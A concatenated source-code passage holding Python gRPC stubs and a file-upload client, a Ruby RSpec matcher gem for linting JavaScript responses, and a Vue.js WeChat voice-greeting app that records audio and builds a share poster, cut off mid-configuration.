'/virtual_assistant.VirtualAssistant/LastModified',
request_serializer=server__pb2.InstructionRequest.SerializeToString,
response_deserializer=server__pb2.Timestamp.FromString,
)
class VirtualAssistantServicer(object):
# missing associated documentation comment in .proto file
pass
def GetAllInstructions(self, request, context):
"""Request thumbnails to all available instructions
"""
context.set_code(grpc.StatusCode.UNIMPLEMENTED)
context.set_details('Method not implemented!')
raise NotImplementedError('Method not implemented!')
def GetInstruction(self, request, context):
"""Request instruction by id
"""
context.set_code(grpc.StatusCode.UNIMPLEMENTED)
context.set_details('Method not implemented!')
raise NotImplementedError('Method not implemented!')
def DownloadMedia(self, request, context):
"""Request media folder in zip format
"""
context.set_code(grpc.StatusCode.UNIMPLEMENTED)
context.set_details('Method not implemented!')
raise NotImplementedError('Method not implemented!')
def LastModified(self, request, context):
"""Check when the object was modified last time
"""
context.set_code(grpc.StatusCode.UNIMPLEMENTED)
context.set_details('Method not implemented!')
raise NotImplementedError('Method not implemented!')
def add_VirtualAssistantServicer_to_server(servicer, server):
rpc_method_handlers = {
'GetAllInstructions': grpc.unary_unary_rpc_method_handler(
servicer.GetAllInstructions,
request_deserializer=server__pb2.AllInstructioinsRequest.FromString,
response_serializer=server__pb2.AllInstructioinsResponse.SerializeToString,
),
'GetInstruction': grpc.unary_unary_rpc_method_handler(
servicer.GetInstruction,
request_deserializer=server__pb2.InstructionRequest.FromString,
response_serializer=server__pb2.InstructionResponse.SerializeToString,
),
'DownloadMedia': grpc.unary_stream_rpc_method_handler(
servicer.DownloadMedia,
request_deserializer=server__pb2.MediaRequest.FromString,
response_serializer=server__pb2.Chunk.SerializeToString,
),
'LastModified': grpc.unary_unary_rpc_method_handler(
servicer.LastModified,
request_deserializer=server__pb2.InstructionRequest.FromString,
response_serializer=server__pb2.Timestamp.SerializeToString,
),
}
generic_handler = grpc.method_handlers_generic_handler(
'virtual_assistant.VirtualAssistant', rpc_method_handlers)
server.add_generic_rpc_handlers((generic_handler,))
class WebEditorStub(object):
# missing associated documentation comment in .proto file
pass
def __init__(self, channel):
"""Constructor.
Args:
channel: A grpc.Channel.
"""
self.DownloadInstruction = channel.unary_stream(
'/virtual_assistant.WebEditor/DownloadInstruction',
request_serializer=server__pb2.InstructionRequest.SerializeToString,
response_deserializer=server__pb2.Chunk.FromString,
)
self.UploadInstructions = channel.stream_unary(
'/virtual_assistant.WebEditor/UploadInstructions',
request_serializer=server__pb2.Chunk.SerializeToString,
response_deserializer=server__pb2.Status.FromString,
)
self.LastModified = channel.unary_unary(
'/virtual_assistant.WebEditor/LastModified',
request_serializer=server__pb2.InstructionRequest.SerializeToString,
response_deserializer=server__pb2.Timestamp.FromString,
)
class WebEditorServicer(object):
# missing associated documentation comment in .proto file
pass
def DownloadInstruction(self, request, context):
"""Download Instruction from server to web-editor
"""
context.set_code(grpc.StatusCode.UNIMPLEMENTED)
context.set_details('Method not implemented!')
raise NotImplementedError('Method not implemented!')
def UploadInstructions(self, request_iterator, context):
"""Upload instruction(s) from web-editor to server
"""
context.set_code(grpc.StatusCode.UNIMPLEMENTED)
context.set_details('Method not implemented!')
raise NotImplementedError('Method not implemented!')
def LastModified(self, request, context):
"""Check when the object was modified last time
"""
context.set_code(grpc.StatusCode.UNIMPLEMENTED)
context.set_details('Method not implemented!')
raise NotImplementedError('Method not implemented!')
def add_WebEditorServicer_to_server(servicer, server):
rpc_method_handlers = {
'DownloadInstruction': grpc.unary_stream_rpc_method_handler(
servicer.DownloadInstruction,
request_deserializer=server__pb2.InstructionRequest.FromString,
response_serializer=server__pb2.Chunk.SerializeToString,
),
'UploadInstructions': grpc.stream_unary_rpc_method_handler(
servicer.UploadInstructions,
request_deserializer=server__pb2.Chunk.FromString,
response_serializer=server__pb2.Status.SerializeToString,
),
'LastModified': grpc.unary_unary_rpc_method_handler(
servicer.LastModified,
request_deserializer=server__pb2.InstructionRequest.FromString,
response_serializer=server__pb2.Timestamp.SerializeToString,
),
}
generic_handler = grpc.method_handlers_generic_handler(
'virtual_assistant.WebEditor', rpc_method_handlers)
server.add_generic_rpc_handlers((generic_handler,))
<file_sep>/python-server/python_file_client.py
"""
Sample python client to download/upload media folder in zip
"""
import grpc
# Import the generated gRPC classes
import server_pb2
import server_pb2_grpc
CHUNK_SIZE = 1024 * 1024 # 1MB
def save_chunks_to_file(chunks, filename):
"""
Concatenates received chunks to file
Args:
chunks (server_pb2.Chunk): byte chunk from gRPC stream
filename (string): File to write to
"""
with open(filename, 'wb') as f:
for chunk in chunks:
f.write(chunk.buffer)
def get_file_chunks(filename):
"""
Slices file into byte chunks for gRPC transfer
Args:
filename (str): Path to file to slice
Yields:
server_pb2.Chunk: byte chunk for gRPC stream
"""
with open(filename, 'rb') as f:
while True:
piece = f.read(CHUNK_SIZE)
if len(piece) == 0:
return
yield server_pb2.Chunk(buffer=piece)
def upload(stub, in_file_name):
chunks_generator = get_file_chunks(in_file_name)
response = stub.UploadInstructions(chunks_generator)
print("Response: ", response.status)
def main():
"""
Create gRPC stub, download media.zip, and save it
"""
# Create gRPC stub
channel = grpc.insecure_channel('localhost:50051')
stub = server_pb2_grpc.WebEditorStub(channel)
upload(stub, "media.zip")
# # Make the call
# response = stub.DownloadMedia(
# server_pb2.MediaRequest(id="3rf323g4234g3"))
# # Save the result
# save_chunks_to_file(response, "result.zip")
if __name__ == '__main__':
main()
| 9c0a2fa51a77f0fdc046145ec03402ccb3182cfb | [
"Markdown",
"JavaScript",
"Gradle",
"Java",
"Python",
"Shell"
] | 10 | Markdown | alkaitagi/INNO-S20-SP | 2c0c85630117a0d677c4622cfc2356b7f26227be | f7b3b1a28cbebcbc6629d1189e8e22d42d434afc |
refs/heads/master | <repo_name>wireframe/rspec-lintable<file_sep>/lib/rspec/lintable.rb
require "rspec/lintable/version"
require 'rspec/matchers'
require 'jshintrb'
require 'json'
# ensure that response body is valid "lintable" javascript.
# this matcher should *not* be used for negative assertions (ie: should_not be_lintable)
#
# example usage:
# describe "#show" do
# before { get :show, format: :js }
# it { should be_lintable }
# end
#
# see https://gist.github.com/wireframe/1042920
RSpec::Matchers.define :be_lintable do |ability|
match do |controller|
@content = controller.response.body
@errors = Jshintrb.lint(@content, jshint_options, jshint_globals)
@errors.empty?
end
failure_message_for_should do |actual|
"expected response javascript to be lintable.\nErrors: #{@errors.inspect}\nContent: #{@content}"
end
def jshint_options
@jshint_options ||= JSON.load(File.read(Rails.root.join('.jshintrc')))
end
def jshint_globals
@globals ||= jshint_options.delete('globals').keys
end
end
<file_sep>/lib/rspec/lintable/version.rb
module Rspec
module Lintable
VERSION = "1.0.1"
end
end
<file_sep>/README.md
# Rspec::Lintable
> Ensure your controllers are returning "valid" Javascript responses
## Usage
```ruby
describe "#show" do
before { get :show, format: :js }
it { should be_lintable }
end
```
## Installation
Add the gem to your `test` group of your `Gemfile` and it will automatically be loaded into your RSpec runtime!
```ruby
# Gemfile
gem 'rspec-lintable', group: :test
```
## Configuration
All options and configuration are done via the standard [Jshint .jshintrc](http://www.jshint.com/docs/)
configuration file.
## Contributing
Interested in contributing? Review the project [contribution guidelines](CONTRIBUTING.md) and get started!
Patches are always welcome and thank you to all [project contributors](https://github.com/wireframe/rspec-lintable/graphs/contributors)!
| 94fe5f5fde0c9192d044cdd734a86285a2d5c0c4 | [
"Markdown",
"Ruby"
] | 3 | Ruby | wireframe/rspec-lintable | 9e9a33421807c1c8f071839acf4ddfd803051dc9 | 45c21437241b71a6332e1696ab0228d6edf78b07 |
refs/heads/master | <file_sep>var vue = new Vue({
el: "#app",
data: {
currentEnvironment: ['pc', 'ios'],//当前运行环境
authorized_address: 'http://game.flyh5.cn/game/wx1da84b6515b921cd/jan_blessing_tdw',//后台端授权地址
requestUrl: 'http://game.flyh5.cn/game/wx1da84b6515b921cd',//请求接口地址URL
userInfo: {},//个人用户信息
friendInfo: {},//朋友的用户信息
myVoice: null,//当前录音
curPro: 0,//当前录制进度条
curPageIndex: 0,//当前页面index索引
transitionType: 'rightLeft',//页面切换效果
curPingIndex: 1,//当前是选择是哪只猪
curLoingIndex: 0,//loadin页6个猪头像当前显示索引
interval_loadingImg: null,//定时器-首页6个猪头像切换
progressSpeed: 50,//进度条速率
progressSpeed2: 40,//进度条速率
progressSpeed3: 30,//进度条速率
progress: 0,//进度条当前进度
progress1: 50,//进度条当前进度
progress2: 90,//进度条当前进度
progress3: 100,//进度条当前进度
interval_progressStart: null,//定时器-loading加载页开始
interval_progressComplete: null,//定时器-loading加载页结束
interval_recordingTime: null,//定时器-录制时计时
interval_curPro: null,//定时器-录制进度条
interval_effects: null,//定时器-序列帧
timeout_autoStop: null,//定时器-自动关闭播放音效
mySwiper: null,//6只猪选择页swiper
btnStatus: [1 , 0, 0],//开始、暂停、5种音效状态值
isShare: false,//分享弹层
isPlayinag: false,//是否在播放刚刚保存或者朋友发过来的录音
canvasImgUrl: '',//生成的海报图路径
effectCurindex: 1,//序列帧索引
totast: [0, 0, '', 1, 2500, true, null],//第一项为类型0为纯文字、1为纯图标、2为图文,第二项为显示/隐藏,第三项为文案,第四项为是否可以点击立马关闭,第五项为自动关闭定时器
isBackInit: false,//背景音乐是否初始化Ok
backIsPaused: false,//背景音乐是否暂停
isSharePage: false,//是否用户分享过来页面
serverId: '',//用录音的本地localId换来的服务器serverId
voiceSrc: '',//朋友分享过来的src
soundEffects: 0,//朋友分享的是个音效
share_ma: '',//保存后的share_ma
isShowFriend: false,//是否是显示的朋友传过来的祝福页面
stopManyClick: false//防止多次点击
},
created() {
var _self = this;
this.init();
// this.audioMusic("myAudio", function(){
// _self.bindPause();
// });
},
beforemount() {
},
mounted() {
this.wxConfigInit();
this.progressStart();
this.progressComplete();
this.bindPause();
},
watch: {
totast() {
var _self = this
_self.totast[6] = setTimeout(function(){
_self.closeTotast(true);
}, _self.totast[4] || 2500)
}
},
methods: {
//页面初始化
init() {
var _self = this;
//运行环境
if (window.location.href.indexOf("localhost") == -1) {
this.currentEnvironment[0] = 'phone';
} else {
this.currentEnvironment[0] = 'pc';
}
//手机环境
_self.isSystem(function(res){
if (res.isiOS) {
_self.currentEnvironment[1] = 'ios';
} else {
_self.currentEnvironment[1] = 'and';
}
});
//移动端
if (this.currentEnvironment[0] == 'phone') {
if (!sessionStorage.getItem("openid")) {
window.location.replace(this.authorized_address);
} else {
this.getUserInfo();
}
//pc端
} else if (this.currentEnvironment[0] == 'pc') {
this.requestUrl = '';
if (sessionStorage.getItem("openid")) {
sessionStorage.setItem("openid", "<KEY>");
sessionStorage.setItem("nickname", "扬帆");
sessionStorage.setItem("head_url", "http://img.flyh5.cn/game/admin_chj/Jan_tdw/15482082635c47c887597ab.jpg");
} else {
this.getUserInfo();
console.log(this.userInfo);
}
}
FastClick.attach(document.body);
//开始loading页面
this.logadingSwitch();
},
//判断是否是从朋友分享过来的
isFriendShare(){
var _self = this;
if (this.getUrlParameter("shareid")) {
_self.isShowFriend = true;
console.log("【是从朋友分享进的项目】");
console.log("朋友的shareid---->", this.getUrlParameter("shareid"));
_self.isSharePage = true;
_self.curPageIndex = 4;
_self.getVoice(this.getUrlParameter("shareid"), function(res){
var _friendInfo = res.data.userinfo;
_self.friendInfo.head_url = _friendInfo.head_url;
_self.friendInfo.nickname = _self.fontNormal(_friendInfo.nickname);
_self.curPingIndex = parseInt(_friendInfo.pig);
_self.friendInfo.dur = _friendInfo.dur;
_self.voiceSrc = _friendInfo.vido_url;
_self.btnStatus[2] = _friendInfo.bgvoice;
});
} else {
this.nextPage();
}
},
//从本地缓存中获取个人信息
getUserInfo() {
this.userInfo.openid = sessionStorage.getItem("openid");
this.userInfo.nickname = this.fontNormal(sessionStorage.getItem("nickname"));
this.userInfo.head_url = sessionStorage.getItem("head_url");
},
//昵称过长处理
fontNormal(font) {
if (!font) return '--';
var _font = font;
if (_font.length > 8) {
_font = _font.slice(0, 6) + '...';
}
return _font;
},
//序列帧
effectsPlay() {
var _self = this
if (_self.interval_effects) return;
_self.interval_effects = setInterval(function(){
_self.effectCurindex < 24 ? _self.effectCurindex++ : _self.effectCurindex = 1
}, 50);
},
//获取上传的祝福音频文件
getVoice(shareid, callback) {
var _self = this;
$.post(_self.requestUrl + '/jan_blessing_tdw/api.php?a=return_vido', {shareid: shareid}, function(res){
callback(res);
});
},
//背景音乐
backMusicPlay(){
var _self = this;
this.startBackMusic('./images/music_bg.mp3', 'myAudio', 'music-switch', function(res){
if (res.status === 2) {//音乐开始播放回调
_self.isBackInit = true;
if (_self.currentEnvironment[1] == 'phone' && _self.currentEnvironment[1] == 'ios') { _self.backIsPaused = true; }
} else if (res.status === 1) {//播放回调
_self.backIsPaused = false;
} else {//暂停回调
_self.backIsPaused = true;
}
});
},
//绑定暂录音和音效事件
bindPause() {
var _self = this;
var myAudio = document.getElementById("myAudio");
var voice = document.getElementById("voice");
var music02 = document.getElementById("music02");
var music03 = document.getElementById("music03");
var music04 = document.getElementById("music04");
var music05 = document.getElementById("music05");
controls1.onclick = function(){ voice.pause(); }
controls2.onclick = function(){ music02.pause(); }
controls3.onclick = function(){ music03.pause(); }
controls4.onclick = function(){ music04.pause(); }
controls5.onclick = function(){ music05.pause(); }
// bgcontrols.onclick = function(){
// console.log(111);
// console.log(myAudio);
// console.log(myAudio.paused);
// if (myAudio.paused) {
// console.log(222);
// //myAudio.pause();
// _self.playPauseBg(0);
// } else {
// console.log(333);
// _self.playPauseBg(0);
// //myAudio.pause();
// }
// }
},
backPlayPause() {
this.playPauseBg(0);
},
//选择音效
selectVoice(curIndex) {
var _self = this;
if (!_self.isShowFriend) {
if (!_self.isSoundRecording()) return;
}
_self.btnStatus[2] = curIndex;
_self.pauseAllAudio();
_self.playPauseBg(0);
if (curIndex == 1) {
_self.musicPlay("voice", function(){
_self.autoStopPlay();
});
} else {
_self.musicPlay("voice", function(){
_self.autoStopPlay();
});
_self.musicPlay("music0" + curIndex);
}
_self.autoStopPlay();
},
//首页向上滑动切换到下一页
swipeup() {
//this.musicPlay('myAudio')
this.nextPage();
this.effectsPlay();
this.swiperInit();
return;
},
//loading页6个猪头像切换
logadingSwitch() {
var _self = this;
this.interval_loadingImg = setInterval(function(){
_self.curLoingIndex >= 5 ? _self.curLoingIndex = 0 : _self.curLoingIndex++
}, 400);
},
//停止所有音效
pauseAllAudio() {
$("#controls1").trigger("click");
$("#controls2").trigger("click");
$("#controls3").trigger("click");
$("#controls4").trigger("click");
$("#controls5").trigger("click");
},
//定时播放停止
autoStopPlay() {
var _self = this;
var _tims = (_self.isShowFriend ? (parseInt(_self.friendInfo.dur) + .5) : (parseInt(_self.curPro * .6) + .5)) * 1000;
if (this.timeout_autoStop) {
clearTimeout(this.timeout_autoStop)
}
this.timeout_autoStop = setTimeout(function(){
_self.stopAllPlayBg();
}, _tims);
},
//停止所有音效和语音恢复背景音乐
stopAllPlayBg() {
var _self = this;
this.pauseAllAudio();
if (sessionStorage.getItem("muted") != 1) {
setTimeout(function(){
_self.playPauseBg(1);
}, 800)
}
this.isPlayinag = false;
},
//开始录音
soundRecording_start() {
console.log("【点击了录音按钮】");
console.log("微信jssdk:", wx);
var _self = this;
if (this.btnStatus[0] == 0) return;
wx.startRecord({
success: function(res) {
console.log("开始录音了");
console.log(res);
_self.playPauseBg(0);
_self.recordingTime();
_self.btnStatus[0] = 0;
_self.btnStatus[1] = 1;
},
fail: function(res) {
//录音失败
this.totast = [0, 1, '录音失败,请稍后再试'];
}
});
},
//停止录音
soundRecording_stop() {
let _self = this;
if (_self.btnStatus[1] == 0) return;
_self.btnStatus[1] = 0;
wx.stopRecord({
success: function (res) {
_self.myVoice = res.localId;
_self.playPauseBg(1);
clearInterval(_self.interval_curPro);
if (parseInt(_self.curPro * .6) < 2) { return; }
_self.transformMp3(function(res){
console.log("停止后换来的mp3");
console.log(res.data.ret_mp3url);
_self.voiceSrc = res.data.ret_mp3url;
_self.totast = [2, 1, '祝福合成中', 3500, false];
});
}
});
},
//播放录音
soundRecording_play(callback) {
console.log("录制到的录音:");
console.log(this.myVoice)
//this.stopVoice();
wx.playVoice({
localId: this.myVoice // 需要播放的音频的本地ID,由stopRecord接口获得
});
},
//停止播放录音
stopVoice() {
wx.stopVoice({
localId: this.myVoice // 需要停止的音频的本地ID,由stopRecord接口获得
});
},
//计时
recordingTime() {
var _self = this;
this.interval_curPro = setInterval(function() {
if (_self.curPro < 100) {
_self.curPro += (100 / 1200)
} else {
clearInterval(_self.interval_curPro);
_self.curPro = 100
console.log("时间到")
//_self.btnStatus[1] = 0;
_self.soundRecording_stop();
}
}, 50)
},
//保存录音
preservation() {
var _self = this;
if (!_self.isSoundRecording()) return;
if (_self.btnStatus[2] == 0) {
this.totast = [0, 1, '请先选择一个您喜欢的音效吧~'];
return;
}
var _url = _self.requestUrl + '/jan_blessing_tdw/api.php?a=get_vido';
var _data = {
media_id: '',
authorizer_access_token: sessionStorage.getItem("authorizer_access_token"),
pigIndex: _self.curPingIndex,
dur: parseInt(_self.curPro * .6),
sefIndex: _self.btnStatus[2]
};
_self.pauseAllAudio();
this.totast = [2, 1, '祝福生成中'];
//_self.uploadVoice(function(res){
_data.media_id = _self.serverId;
$.post(_url, _data, function(res){
console.log("语音上传成功后的返回:");
console.log(res);
_self.share_ma = res.data.share_ma
_self.shareConfig(1);
_self.generateCode(function(res){
_self.generateCanvasImg(res, function(res){
_self.canvasImgUrl = res;
setTimeout(function(){
_self.closeTotast(true);
_self.nextPage();
}, 500);
});
})
})
//});
},
//绘制二维码
generateCode(callback){
this.qr_code("#code", window.ShareUrl, 120, 120, '#000', '#fff');
var getCodeImg = setInterval(function(){
if ($('#code img').attr('src')) {
callback($('#code img').attr('src'));
clearInterval(getCodeImg);
}
},10);
},
//本地语音转换成mp3
transformMp3(callback) {
var _url = this.requestUrl + '/jan_blessing_tdw/api.php?a=ret_mp3';
this.uploadVoice(function(res){
$.post(_url, {media_id: res, authorizer_access_token: sessionStorage.getItem("authorizer_access_token")}, function(res){
callback(res);
})
});
},
//上传语音接口
uploadVoice(callback) {
var _self = this;
wx.uploadVoice({
localId: _self.myVoice, // 需要上传的音频的本地ID,由stopRecord接口获得
isShowProgressTips: 1, // 默认为1,显示进度提示
success: function (res) {
var serverId = res.serverId; // 返回音频的服务器端ID
if (callback) {
_self.serverId = serverId;
callback(serverId);
}
}
});
},
//是否正确录音
isSoundRecording() {
if (this.btnStatus[1] == 1) {
this.totast = [0, 1, '请先结束录制'];
return false;
} else if (this.curPro == 0) {
this.totast = [0, 1, '请先录制语音祝福~'];
return false;
} else if (parseInt(this.curPro * .6) < 2) {
this.totast = [0, 1, '录制时间太短~'];
return false;
}
return true;
},
//重新录制
reRecording() {
var _self = this;
if (this.btnStatus[1] == 1) {
this.totast = [0, 1, '请先结束录制'];
return false;
}
this.pauseAllAudio();
clearInterval(_self.interval_curPro);
this.myVoice = null;
this.curPro = 0;
this.btnStatus = [1, 0, 0];
$('#code img').remove();
},
//生成海报
generateCanvasImg(codeImgUrl, callback) {
var _self = this
console.log('./images/share/bg_0'+_self.curPingIndex+'.jpg');
console.log(_self.userInfo.head_url);
console.log(codeImgUrl);
_self.canvasImg({
canvasId: 'canvas',
psd_w: 750,
psd_h: 1334,
bgImg: './images/share/bg_0'+_self.curPingIndex+'.jpg',
imgList: [
{ url: _self.userInfo.head_url, imgW: 106, imgH: 106, imgX: 181, imgY: 781, radius: "50%" },
{ url: './images/generate/page8_16.png', imgW: 108, imgH: 108, imgX: 180, imgY: 781 },
{ url: codeImgUrl, imgW: 120, imgH: 120, imgX: 534, imgY: 1054 },
],
textList: [
{ string: _self.userInfo.nickname, color: '#dc4a36', fontSize: '26px', fontFamily: 'Arial', textX: _self.fontCanvasCenter(_self.userInfo.nickname), textY: 920 },
{ string: parseInt(_self.curPro * .6) + '"', color: '#FF6600', fontSize: '22px', fontFamily: 'Arial', textX: 556, textY: 850 }
]
}, function(res){
if (callback) callback(res);
});
},
//文字居中绘制
fontCanvasCenter(font) {
var _num = font.length;
if (font.indexOf("...") != -1) {
_num = _num -2;
}
return 327 + (230 - _num * 26) / 2;
},
//从朋友的分享点击我也玩按钮
newGame(){
var _self = this;
_self.jumpPage(1);
_self.stopAllPlayBg();
setTimeout(function(){
_self.isSharePage = false;
_self.isShowFriend = false;
_self.btnStatus[2] = 0;
}, 1000)
},
//分享弹层
shareHaze() {
this.isShare = !this.isShare;
},
//分享配置
shareConfig(type) {
var _ShareUrl = this.authorized_address;
var _Title = '领“猪宝”,送“猪福”';
var _Desc = "这里有一只“神秘猪宝”帮你送出新年“猪福”。";
var _ShareImage = "https://game.flyh5.cn/resources/game/wechat/szq/tuandaiwang/images/logo.ico";
if (type == 1) {
_ShareUrl = _ShareUrl + '?shareid=' + this.share_ma;
_Title = this.userInfo.nickname + '给你送语音“猪福”啦!';
_Desc = this.userInfo.nickname + '给你录制了一段专属于你的新年语音“猪福”,赶快点击进去听听吧!'
}
window.ShareUrl = _ShareUrl;
window.Title = _Title;
window.Desc = _Desc;
window.ShareImage = _ShareImage;
this.menuShareAppMessage();
},
//点击播放自己/朋友的录音
playVoice() {
var _self = this;
if (_self.isPlayinag) {
_self.isPlayinag = false;
_self.stopAllPlayBg();
} else {
_self.isPlayinag = true;
_self.selectVoice(_self.btnStatus[2]);
}
},
//重新编辑
reEdit() {
this.stopAllPlayBg();
this.prevPage();
},
//swiper初始化
swiperInit() {
var _self = this
this.mySwiper = new Swiper('.swiper-container', {
observer:true,
observeParents:true,
observeSlideChildren:true,
//loop: true,
navigation: {
nextEl: '.swiper-button-next',
prevEl: '.swiper-button-prev',
},
on: {
slideChangeTransitionStart: function(){
_self.curPingIndex = this.activeIndex + 1;
}
}
});
},
//loading开始
progressStart() {
this.interval_progressStart = setInterval(() => {
if (this.progress < this.progress2) {
this.progress++;
if (this.progress > this.progress1) {
this.progressSpeed = this.progressSpeed2;
}
} else {
clearInterval(this.interval_progressStart);
}
}, this.progressSpeed);
},
//loading结束
progressComplete() {
var _self = this;
if (this.interval_progressStart) {
clearInterval(this.interval_progressStart);
}
this.interval_progressComplete = setInterval(() => {
if (this.progress < this.progress3) {
this.progress++;
} else {
clearInterval(this.interval_progressComplete);
this.isFriendShare();
//this.nextPage();
}
}, this.progressSpeed3);
},
//跳转到某个页面
jumpPage(pageIndex) {
this.curPageIndex = pageIndex || 0;
},
//切下一个页面
nextPage() {
var _self = this;
if (_self.stopManyClick) { return; }
_self.stopManyClick = true;
this.curPageIndex == 1 ? this.transitionType = 'bottomTop' : this.transitionType = 'rightLeft';
this.curPageIndex++;
setTimeout(function(){ _self.stopManyClick = false; }, 1000);
},
//返回上一个页面
prevPage() {
var _self = this;
if (_self.stopManyClick) { return; }
this.transitionType = 'leftRight';
this.curPageIndex--;
setTimeout(function(){ _self.stopManyClick = false; }, 1000);
},
//关闭消息框
closeTotast(isAuto) {
// if (!this.totast[5] && !isAuto) { return; }
console.log(this.totast[0]);
console.log(isAuto);
if (this.totast[0] == 2 && !isAuto) { return; }
if (this.totast[6]) clearTimeout(this.totast[6]);
this.totast[1] = 0;
},
canvasImg(options, callback) {
var _self = this;
var P_W = window.innerWidth;
var P_H = window.innerHeight;
var PSD_W = options.psd_w;
var PSD_H = options.psd_h;
var canvas = document.getElementById(options.canvasId);
var ctx = canvas.getContext("2d");
var devicePixelRatio = window.devicePixelRatio || 1;
var backingStoreRatio = ctx.webkitBackingStorePixelRatio || 1;
var ratio = devicePixelRatio / backingStoreRatio;
canvas.width = options.psd_w * ratio / 2;
canvas.height = options.psd_h * ratio / 2;
ctx.scale(ratio / 2, ratio / 2);
if (options.bgImg) {options.imgList.unshift({url: options.bgImg,imgW: PSD_W,imgH: PSD_H,imgX: 0,imgY: 0});}
var vars = {};
for (var m in options.imgList) {
vars["newImg" + m] = new Image();
vars["newImg" + m].setAttribute("crossOrigin",'anonymous');
vars["newImg" + m].src = options.imgList[m].url;
}
var progress = 0;
for (var z in options.imgList) {
vars["newImg" + z].onload = function(){
progress += 2520/options.imgList.length;
if (progress === 2520) {
startDraw();
}
}
}
function addRoundRectFunc() {
CanvasRenderingContext2D.prototype.roundRect =
function (x, y, width, height, radius, fill, stroke) {
if (typeof stroke == "undefined") { stroke = false; }
if (typeof radius === "undefined") { radius = 5; }
this.beginPath();
this.moveTo(x + radius, y);
this.lineTo(x + width - radius, y);
this.quadraticCurveTo(x + width, y, x + width, y + radius);
this.lineTo(x + width, y + height - radius);
this.quadraticCurveTo(x + width, y + height, x + width - radius, y + height);
this.lineTo(x + radius, y + height);
this.quadraticCurveTo(x, y + height, x, y + height - radius);
this.lineTo(x, y + radius);
this.quadraticCurveTo(x, y, x + radius, y);
this.closePath();
if (stroke) { this.stroke(); }
if (fill) { this.fill(); }
};
}
function startDraw() {
//绘制图片
for (var n in options.imgList) {
if (!options.imgList[n].radius) {
drawImg();
} else if (options.imgList[n].radius == "50%") {
ctx.save();
var r = options.imgList[n].imgW * .5;
ctx.arc(options.imgList[n].imgX + r, options.imgList[n].imgY + r, r, 0, 2 * Math.PI);
ctx.clip();
ctx.fill();
drawImg(true);
ctx.restore();
} else {
ctx.save();
addRoundRectFunc();
ctx.roundRect(options.imgList[n].imgX, options.imgList[n].imgY, options.imgList[n].imgW, options.imgList[n].imgH, options.imgList[n].radius, true);
ctx.globalCompositeOperation = 'source-in';
ctx.clip();
drawImg();
ctx.restore();
}
function drawImg(arc) {
ctx.drawImage(vars["newImg" + n], 0, 0, vars["newImg" + n].width, vars["newImg" + n].height, options.imgList[n].imgX, options.imgList[n].imgY, options.imgList[n].imgW, arc ? options.imgList[n].imgW : options.imgList[n].imgH);
}
}
//绘制文字
function drawFont() {
var fonts = options.textList;
for (var k in fonts) {
ctx.fillStyle = fonts[k].color;
ctx.font = fonts[k].fontSize + ' ' + fonts[k].fontFamily;
ctx.textBaseline = 'hanging';
_self.isSystem(function(res){
if (res.isiOS) {fonts[k].textY -= 10;}
});
if (fonts[k].vel) {
for (var z in fonts[k].string) {
ctx.fillText(fonts[k].string[z], fonts[k].textX, fonts[k].textY + z * (parseInt(fonts[k].fontSize) + fonts[k].vel));
}
} else {
ctx.fillText(fonts[k].string, fonts[k].textX, fonts[k].textY);
}
}
}
drawFont();
callback(canvas.toDataURL("image/png"));
}
},
//从地址栏获参
getUrlParameter(name) {
var reg = new RegExp("(^|&)"+ name +"=([^&]*)(&|$)");
var URL = decodeURI(window.location.search);
var r = URL.substr(1).match(reg);
if(r!=null){
//decodeURI() 函数可对 encodeURI() 函数编码过的 URI 进行解码
return decodeURI(r[2]);
};
return null;
},
//判断手机系统
isSystem(callback) {
var u = navigator.userAgent;
var isAndroid = u.indexOf('Android') > -1 || u.indexOf('Adr') > -1; //android终端
var isiOS = !!u.match(/\(i[^;]+;( U;)? CPU.+Mac OS X/); //ios终端
callback({isAndroid: isAndroid, isiOS: isiOS});
},
//控制背景音乐
playPauseBg(status, type) {
var _audio = document.getElementById("myAudio");
if (status == 0) {
console.log("【背景音乐暂停】");
_audio.pause();
} else {
console.log("【背景音乐播放】");
if (type && sessionStorage.getItem("muted") == 1) { return; }
_audio.play();
}
},
//播放音频
musicPlay(ele, callback) {
var _audio = document.getElementById(ele);
if (ele != "voice") {
if (_audio.paused) {
console.log(_audio.paused);
console.log(sessionStorage.getItem("muted"));
_audio.currentTime = 0;
console.log("【点击触发的播放背景音乐】");
_audio.play();
}
return;
}
_audio.oncanplay = function () {
console.log(ele + "--->oncanplay准备播放了");
//_audio.currentTime = 0;
_audio.play();
}
_audio.load();
// _audio.addEventListener("canplaythrough",
// function() {
// _audio.currentTime = 0;
// _audio.play();
// },
// false);
// _audio.addEventListener("timeupdate",function(){
// if (Math.floor(_audio.currentTime) == 1 ) {
// if (callback) { callback(); }
// }
// }, false);
// _audio.load();
},
//audio播放音乐
audioMusic(audio, callback) {
var audio = document.getElementById(audio);
audio.play();
document.addEventListener("WeixinJSBridgeReady", function () {
console.log("【背景音乐播放3】");
audio.play();
callback({status: 2});
}, false);
},
/*生成二维码*/
qr_code(ele, src, width, height, color, color2) {
for (var i = 0;i < $(ele).length; i++) {
var _self = $(ele)[i];
var qrcode = new QRCode(_self, {
text: src,
width: width,
height: height,
colorDark : color,
colorLight : color2,
correctLevel : QRCode.CorrectLevel.H
});
}
},
wxConfigInit() {
var _self = this;
//加载jweixin标签,兼容6.7.2微信jssdk1.4.0版本
_self.loadScript("./js/jweixin-1.2.0.js", function () {
//加载配置微信jssdk参数标签
_self.loadScript("https://game.flyh5.cn/game/xiyouji_jssdk/twolevel_autho/share.php?auth_appid=wx1da84b6515b921cd&type=js&isonlyopenid=true", function () {
//配置微信jssdk
_self.wxConfig({
appId: wx_config["appId"],
timestamp: wx_config["timestamp"],
nonceStr: wx_config["nonceStr"],
signature: wx_config["signature"]
}, window.openJssdkDebug)
});
})
},
loadScript(src, callback) {
var s = document.createElement("script");
s.async = false;
s.src = src;
var evtName = null;
var evtListener = null;
function logic() {
s.parentNode.removeChild(s);
s.removeEventListener(evtName, evtListener, false);
callback && callback();
}
if (!-[1,]) {
evtName = "readystatechange";
evtListener = function () {
(this.readyState == "loaded" || this.readyState == "complete") && logic();
}
} else {
evtName = "load";
evtListener = logic;
}
s.addEventListener(evtName, evtListener, false);
console.log(s);
document.body.appendChild(s);
},
wxConfig(configData, openJssdkDebug) {
var _self = this;
wx.ready(function () {
wx.checkJsApi({
jsApiList: ["chooseImage"],
success: function (res) {
if (res.checkResult.chooseImage) {
console.log("wx.checkJsApi success");
window.wxConfigReady = true;
document.dispatchEvent(new Event("wxConfigReady"));
}
console.log("wx.checkJsApi result:", res.checkResult);
},
fail: function (res) {
console.log("wx.checkJsApi fail:", res);
}
});
_self.shareConfig();
});
wx.error(function (res) {
console.log("wx.config error:", res);
});
wx.config({
